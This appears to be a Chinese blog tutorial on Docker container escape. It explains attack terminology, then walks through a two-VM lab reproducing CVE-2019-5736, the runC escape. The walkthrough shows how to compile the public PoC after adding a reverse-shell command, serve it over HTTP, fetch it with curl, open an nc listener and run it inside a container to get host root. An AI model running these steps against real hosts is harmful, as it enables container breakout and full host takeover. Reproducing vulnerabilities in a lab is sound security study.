【Linux】kaili实现CVE-2019-5736漏洞复现

CVE漏洞复现

一、了解docker逃逸

Docker逃逸是一个安全问题,指的是攻击者从Docker容器逃逸到宿主机系统,获取更高的权限,从而控制整个系统。下面我将详细介绍Docker逃逸的原理、常见方法以及如何防范。

1.Docker逃逸的原理

Docker容器是一种虚拟化技术,它通过在宿主机上创建隔离的环境来运行应用程序。然而,如果Docker容器的配置不当或者存在漏洞,攻击者就有可能利用这些漏洞逃逸出容器,进入宿主机系统。

2.常见的Docker逃逸方法

2.1.配置不当引起的逃逸:

1>Docker Remote API未授权访问:攻击者可以通过访问Docker Remote API来获取容器的敏感信息,甚至执行恶意操作。

2>docker.sock挂载到容器内部:如果docker.sock文件被挂载到容器内部,攻击者可以利用这个文件来与Docker守护进程通信,执行任意命令。

3>privileged特权模式启动docker:以特权模式启动的容器拥有与宿主机几乎相同的权限,攻击者可以利用这个权限来逃逸出容器。

4>挂载敏感目录:如果容器挂载了宿主机的敏感目录(如根目录),攻击者就有可能通过修改这些目录中的文件来逃逸出容器。

2.2.Docker软件设计引起的逃逸(漏洞):

1>runC容器逃逸漏洞(CVE-2019-5736):该漏洞允许攻击者在容器内部执行任意命令,从而逃逸出容器。

2>Docker cp命令(CVE-2019-14271):该漏洞允许攻击者通过Docker cp命令在容器与宿主机之间复制文件,可能导致信息泄露或逃逸。

2.3.内核漏洞引起的逃逸:脏牛漏洞(Dirty COW)是一个典型的内核漏洞引起的逃逸案例。攻击者可以利用这个漏洞在容器内部提升权限,获取宿主机的root shell。

3.如何防范Docker逃逸

3.1.限制容器的权限:不要以特权模式运行容器,避免挂载敏感目录或文件,限制容器的网络访问等。

3.2.及时修补漏洞:关注Docker官方的安全公告,及时修补已知漏洞,确保你的Docker环境是最新版本。

3.3.监控和审计:定期监控和审计Docker环境的安全状况,发现异常行为及时进行处理。

3.4.使用安全策略:采用合适的安全策略,如使用容器安全扫描工具、实施最小权限原则等。

3.5.隔离关键应用:将关键应用部署在单独的容器中,降低潜在的风险。

换言之,Docker逃逸,听起来好像是某个科幻电影里的情节,但实际上,这是我们IT界的一个热门话题。想象一下,你正在一个安静的Docker容器里享受你的代码世界,突然,你发现你可以"越狱"------逃离这个容器,进入主机系统。这就是所谓的Docker逃逸。

Docker逃逸,简单来说,就是攻击者利用Docker容器的漏洞,从容器内部逃逸到宿主机上,获得宿主机的访问权限。这就像是一个小偷,本来只是潜入了你家的一间卧室,但是他发现卧室的窗户没关紧,于是他就跳了出去,进入了整个房子。

Docker逃逸的危害是巨大的。一旦攻击者成功逃逸,他们就可以访问和控制宿主机上的其他容器和应用程序,甚至可能完全控制整个系统。这就像是小偷不仅偷走了你卧室的东西,还可以自由进出你的客厅、厨房甚至保险箱。

所以,为了防止Docker逃逸,我们需要时刻保持警惕。确保你的Docker容器是最新版本的,及时修补已知漏洞。同时,限制容器的权限,不要让它们有太多不必要的访问权限。这就像是不仅要关好卧室的窗户,还要锁好大门和保险箱一样。

二、介绍POC,Payload,EXP,Shellcode

1.POC(Proof of Concept):

概念:POC,即"概念验证",是为了验证某一概念或理论的可行性而创建的较短且可能不完整的实现。在计算机安全术语中,POC常被用作0day、exploit的别名。

目的:POC的主要目的是为了展示和证明某个漏洞或攻击方法的实际存在和可行性,而并非为了实施攻击。

POC就像是那个总爱炫耀的孩子,老是要向大家证明他能做到什么。在黑客世界里,POC就是那个展示漏洞存在的小把戏。比如,一个黑客发现了你家大门的锁有问题,他就会制作一个POC视频,展示怎么用这个漏洞打开你家大门。当然,这只是为了证明他发现了问题,并不是真的要闯进来。

2.EXP(Exploit):

概念:EXP特指可利用系统漏洞进行攻击的动作程序。简单地说,当黑客发现一个系统、应用或服务的漏洞时,他们可能会开发一个EXP来利用这个漏洞,进而实施攻击。

目的:EXP的主要目的是为了利用已知的漏洞来入侵系统或执行恶意操作。

EXP就是那个精通各种开锁技巧的专家。他知道怎么利用你家大门的漏洞来打开门,而且还知道怎么做得最快最有效。在黑客世界里,EXP就是那个利用已知漏洞来攻击的软件或代码。有了它,黑客就能轻易地进入系统,就像专业的小偷一样。

3.Payload:

概念:"Payload"中文为"有效载荷",指的是成功exploit之后,真正在目标系统上执行的代码或指令。换句话说,当EXP成功地利用了某个漏洞后,它会释放Payload来执行实际的攻击操作。

目的:Payload的目的是为了完成攻击者的最终目标,这可能是窃取数据、安装后门、执行恶意命令等。

Payload就是那个潜入你家的坏人携带的大包裹。在黑客术语里,Payload就是那个真正执行恶意操作的代码。比如,黑客可能会用一个小的POC来骗你点击一个链接,然后Payload就会悄无声息地安装在你电脑上,为所欲为。

4.Shellcode:

概念:Shellcode是Payload的一种,得名于它的功能------建立正向/反向shell。简单来说,Shellcode是一段代码,当它被注入到目标系统并执行时,可以为攻击者提供一个命令行界面或shell访问权限。

目的:Shellcode的主要目的是为了给攻击者提供一个与系统交互的界面,使他们能够执行任意命令并控制系统。

Shellcode就是那个小偷进门后用来开保险箱的"万能钥匙"。在黑客术语里,Shellcode是一段用于利用软件漏洞的代码,通常用于远程控制或者提升权限。一旦黑客成功地将Shellcode注入到你的系统里,他就能为所欲为,就像拥有了整个房子的钥匙一样。

总结:这四个术语代表了黑客攻击的不同阶段和工具。从发现漏洞(POC),到携带恶意代码(Payload),再到利用漏洞(EXP),最后到控制系统(Shellcode),这些都是黑客常用的手段。所以,为了保护自己的"房子",我们需要时刻保持警惕,不要让这些"小偷"有机可乘!

三、介绍docker逃逸镜像

Docker逃逸镜像是一个经过特别设计的Docker镜像,用于模拟和测试Docker环境中的逃逸场景。通过使用这个镜像,安全研究人员和开发人员可以更好地了解Docker容器的安全性,并发现潜在的逃逸漏洞。

这个逃逸镜像通常包含了已知的逃逸漏洞和攻击方法,以便测试人员能够模拟攻击者的行为并尝试逃逸出容器。它提供了一个安全的测试环境,允许测试人员对Docker容器进行各种攻击尝试,以验证容器的安全性。

使用Docker逃逸镜像进行测试的过程可以分为以下几个步骤:

1.部署逃逸镜像:测试人员将在Docker环境中部署逃逸镜像,创建一个容器实例来模拟目标系统。

2.执行攻击:测试人员将使用逃逸镜像中提供的攻击方法和工具来尝试从容器中逃逸出来。这包括利用已知的漏洞、执行恶意命令等。

3.监控和记录:在测试过程中,测试人员需要密切监控系统的状态和行为,并记录任何成功的逃逸尝试。

4.分析结果:测试完成后,测试人员将分析测试结果,评估容器的安全性,并提供改进建议。

换言之

Docker逃逸镜像,听起来像是某个魔法师手中的神秘魔镜,但实际上,它可比那更有"魔法"!让我带你领略一下它的神奇之处。

想象一下,你正在一个拥挤的Docker容器集会上,突然,一个神秘人物出现了,手里还拿着一面闪闪发光的镜子。他大声宣布:"各位,这就是传说中的Docker逃逸镜像!只要使用它,你就能逃离这个容器的束缚,探索更广阔的世界!"

这面"逃逸镜像"就像一个秘密通道,让你能够穿越Docker容器的边界,直接接触到底层宿主机系统。你只需对着镜子念一句咒语:"我要出去!"然后,你就会发现自己已经置身于宿主机系统的广阔天地之中。

当然,这个逃逸镜像并不是为了让你四处闲逛、搞恶作剧。它的存在是为了帮助开发人员和安全研究人员更好地了解Docker容器的安全性,并发现潜在的逃逸漏洞。通过使用这个镜像,你可以模拟攻击者的行为,测试你的容器是否能够抵御逃逸攻击。

不过,要小心使用这面"魔镜"哦!一旦你掌握了逃逸的能力,就要承担起保护系统安全的责任。记得在测试完毕后及时销毁这个镜像,以免它落入坏人之手。

总的来说,Docker逃逸镜像是一个有趣的工具,让我们能够在安全研究中更加灵活地进行实验和测试。但是,请务必谨慎使用,并确保你的容器足够强大,能够抵御各种逃逸攻击的魔法!

四、实现CVE漏洞复现

1.硬件环境

虚拟机硬件规格:2CPU 60GB

虚拟机数量: 2台

虚拟机操作系统:kali-linux-2023.2-live-amd64.iso 、CentOS-7-x86_64-DVD-2009.iso

2.网络部署

  • 在命令行终端输入vi /etc/network/interfaces,进入interfaces文件,输入如下指令:
javascript 复制代码
# vi /etc/network/interfaces

auto eth0
iface eth0 inet static
address 10.0.0.200
netmask 255.255.255.0
gateway 10.0.0.2
  • 在命令行终端输入vi /etc/resolv.conf,进入resolv.conf文件,输入如下指令:
javascript 复制代码
# vi /etc/resolv.conf

nameserver 114.114.114.114
nameserver 8.8.8.8
javascript 复制代码
# ping 10.0.0.2			//拼通网关
# ping www.baidu.com		//连接外网
# systemctl restart networking		//重启网络服务
# ip a			//查看网络
  • ssh远程连接
javascript 复制代码
# systemctl status ssh		//查看远程连接状态
# systemctl enable --now ssh		//开启远程连接
# systemctl status ssh		//查看远程连接是否开启成功

3.更新yum源

javascript 复制代码
# cd /etc/apt		//进入apt目录
# view sources.list		//2.编辑sources.list文件

//增加
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
javascript 复制代码
# apt update		//系统软件包更新

5.安装go编译环境和CVE

javascript 复制代码
# apt install -y golang
  • 上传编译利用文件,输入cd /home/leyi,进入leyi目录下;ls -l,查看文件是否上传到leyi目录下

[文件在评论区获取]

javascript 复制代码
# unzip CVE-2019-5736-PoC-master.zip	//将文件进行解压缩
javascript 复制代码
# cd CVE-2019-5736-PoC-master.zip		//进入解压缩后的文件里
  • go version,查看go软件包版本
  • view main.go,编辑POC文件

编辑如下:(加入反弹shell的命令)

javascript 复制代码
# CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go		//编译POC
# ls -l			//查看编译后该目录下的新增文件

6.centos配置docker

javascript 复制代码
# docker -v		//查看docker版本,docker版本需低于18.09.2
# Docker-runc -v		//查看runc版本,runc版本需低于1.0-rc6
javascript 复制代码
# docker images		//查看docker中安装的镜像源
# docker images | grep 'ubuntu'		//安装ubuntu镜像源
# docker run -it ubuntu:18.04 "/bin/bash"		//运行ubuntu镜像源,此时进入ubuntu镜像源中,输入exit退出
# docker images | grep 'ubuntu'		//确认是否成功安装ubuntu镜像源
# docker container ls -a | grep 'ubuntu'		//查看ubuntu镜像源

7.kali开启http服务

javascript 复制代码
# python -m http.server 7987		//开启HTTP服务

8.centos下载poc

javascript 复制代码
# curl -O http://10.0.0.200:7987/main		//下载POC
# ls -l		//查看文件是否下载成功

9.kali监听

javascript 复制代码
# 1.nc -lvnp 12345		//开启监听

10.centos启动镜像源

javascript 复制代码
# docker start 745c		//(ID指令前四位),启动镜像源
# docker container ls -a | grep 'ubuntu',		//查看ubuntu镜像源
javascript 复制代码
# docker cp ./main 745c:/home		//拷贝POC
# docker exec -it 745c /bin/sh,进入docker bash
输入:
#cd /home
#ls
在镜像源中执行POC:

#chmod 777 main
#./main
至此,POC运行成功

11.centos查看漏洞

javascript 复制代码
# docker container ls -a | grep 'ubuntu'		//查看ubuntu镜像源
# docker exec -it 745c /bin/bash,再次进入docker		//此时kali和centos图标变蓝,说明漏洞植入成功

12.查看

  • 查看centos,输出如图:
  • 查看kali,输出如图:

获得一串代码,说明kali获得centos的root用户权限,可以控制centos

13.验证

  • 在kali输入ip a或者输入mkdir /home/leyi/xxxx(在kali中的leyi目录下建立xxxx新目录)
  • 如果kali的IP中增加了centos的IP或者在centos中的leyi目录下出现了xxxx目录,则证明CVE漏洞复现成功


CVE漏洞复现成功!!!

按照这些步骤,能够实现CVE漏洞复现。如果在操作过程中遇到了其他问题,可以参考相关文档或者寻求更详细的指导。

相关推荐
长弓聊编程7 分钟前
Linux系统使用valgrind分析C++程序内存资源使用情况
linux·c++
cherub.14 分钟前
深入解析信号量:定义与环形队列生产消费模型剖析
linux·c++
梅见十柒37 分钟前
wsl2中kali linux下的docker使用教程(教程总结)
linux·经验分享·docker·云原生
Koi慢热41 分钟前
路由基础(全)
linux·网络·网络协议·安全
传而习乎1 小时前
Linux:CentOS 7 解压 7zip 压缩的文件
linux·运维·centos
我们的五年1 小时前
【Linux课程学习】:进程程序替换,execl,execv,execlp,execvp,execve,execle,execvpe函数
linux·c++·学习
IT果果日记1 小时前
ubuntu 安装 conda
linux·ubuntu·conda
Python私教1 小时前
ubuntu搭建k8s环境详细教程
linux·ubuntu·kubernetes
羑悻的小杀马特2 小时前
环境变量简介
linux
小陈phd2 小时前
Vscode LinuxC++环境配置
linux·c++·vscode